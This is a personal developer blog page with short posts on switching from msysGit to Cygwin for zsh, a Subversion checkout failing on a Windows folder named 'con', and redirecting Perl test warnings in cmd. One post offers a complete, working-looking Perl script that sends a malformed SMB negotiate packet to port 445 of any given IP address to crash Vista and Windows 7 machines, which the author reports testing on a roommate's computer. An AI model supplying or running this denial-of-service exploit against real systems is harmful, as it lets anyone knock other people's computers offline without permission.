A Foolish Manifesto

fREWdiculous!

Using Cygwin instead of msysGit

Our main product at work is a Windows product. The reasons are complicated, but the main reason is that that is what our customers seem to want. What this means is that I do some of my development on a virtual machine. For a long time I was just using msysGit. msysGit goes a long way; you have a real bash console, a bunch of standard unix commands, and very good windows integration. On the other hand that’s about all you get. After reading his blog post I spoke with Caelum about getting zsh working with msysgit and he said it was probably just better to use cygwin

There are a handful of reasons to use cygwin, but the main reason I did was for zsh. If you want to follow my path just get the cywin installer and install at least git and ssh. If you are like me you’ll also want to install zsh.

A couple other things that are nice to install are screen and mintty. Screen is just great in general and I use it constantly. I should probably do a blog post on just that at some point. mintty solves the constant bother in windows that the console emulator is horrible and can’t be resized sensibly.

Make sure to follow the instructions in Caelum’s blog post as they are very helpful overall.

cygwin is certainly not perfect though. First off, it is noticeably slower than the already slow msysgit, which is very disappointing. On top of that the home directory is not the same as the standard windows home directory, which is just obnoxious. For some reason with msysgit I could run the vim installed in program files from the command line, but with cygwin I can’t. I even tried making a symlink but those don’t work with cygwin, even though they are supported by ntfs.

Either way, it’s nice to have zsh and screen and a real terminal. Hopefully this helps someone out there :-)

  • 1 Comment
  • Filed under: Uncategorized
  • Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #!perl

    my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program';

    use IO::All;
    my $io = io("$ip:445");

    my $foo =
    "\x00\x00\x00\x90". # Begin SMB header: Session message
    "\xff\x53\x4d\x42". # Server Component: SMB
    "\x72\x00\x00\x00". # Negociate Protocol
    "\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853
    "\x00\x23".         # Process ID High: --> :) normal value should be "\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe".
    "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54".
    "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31".
    "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00".
    "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57".
    "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61".
    "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c".
    "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c".
    "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e".
    "\x30\x30\x32\x00";

    $io->print($foo);

    See details Here!

  • 3 Comments
  • Filed under: Uncategorized
  • Windows Agony: Con

    At $work I manage the subversion repositories for all of the software that we develop. It’s certainly not something that I’m great at, but I’ve used it longer than most so I am the most qualified to deal with it.

    Furthermore, at work we use this tool (Freescale?) which, when it creates a project, creates a Boot directory and a Con directory. Ok, so I had helped our head honcho EE create a repository to store his project data and versions. He’s puttering along and he thinks, “Hey, I want to ‘save’ this version so I can go back to it later!” So I explain to him tags and how to set it up and all this jazz. Well, it turns out that when we made the repo initially we did not make tags, trunk, and branches, like we should have. We just put everything in the root of the repo. Foolish! So anyway, I tell him that we can reorganize it fairly easy and we do that. So we make the changes, delete the old directory, and recheckout from trunk…

    It failed. It could not check out the directory! Some of you may be able to guess why: in Windows you cannot (easily) create a directory named “con” (or com, or a few others.) So we are having the hardest time getting it to check out. Meanwhile he has to make a release for the customer and I am under the gun. So he pulls up a copy he made (how?) and gets back to work and I try to figure out how to deal with this in my office. At this point he has asked me to just revert the changes.

    So I go back to my office, try checking it out a few different ways and have no luck. So finally I get an idea, I figure I’ll check it out in a virtual machine with Linux installed! So I do that, I run the reverse merge to undo all of our changes, and I check everything back in. It worked!

    So the moral of the story? Don’t name folders “con.”

  • 2 Comments
  • Filed under: Uncategorized
  • Making MSDOS a little bit nicer

    I work at a Microsoft Company more or less. We use SQL Server, IIS (moving to Apache…), and various flavors of Windows for all of our machines. I haven’t had the cojones to install Ubunutu on my desktop yet, so I am stuck with cygwin and friends. But the perl that runs my server is not in cygwin. That means that if I want to do valid testing I have to do it with the regular perl. I’ve tried running prove from the cygwin commandline, (ie, /cygdrive/c/usr/bin/perl/prove,) but it just hangs. So I just have to suck it up and run prove from cmd.

    The color highlighting doesn’t work (or at least I couldn’t get it to) so with code that sometimes throws a lot of warnings (that’s intentional, I am testing croaks often) I see way too much noise to follow what’s going on. Redirection to the rescue! Instead of just running prove, I can run

    1
    prove 2> foo

    instead and it redirects all of the warnings to the file foo. Although it’s obvious, it makes running tests that much easier, and I think running tests should really be the path of least resistance. So thank you DOS makers, for implementing STDERR redirection, I didn’t think you’d have done that, but you did.

  • 1 Comment
  • Filed under: perl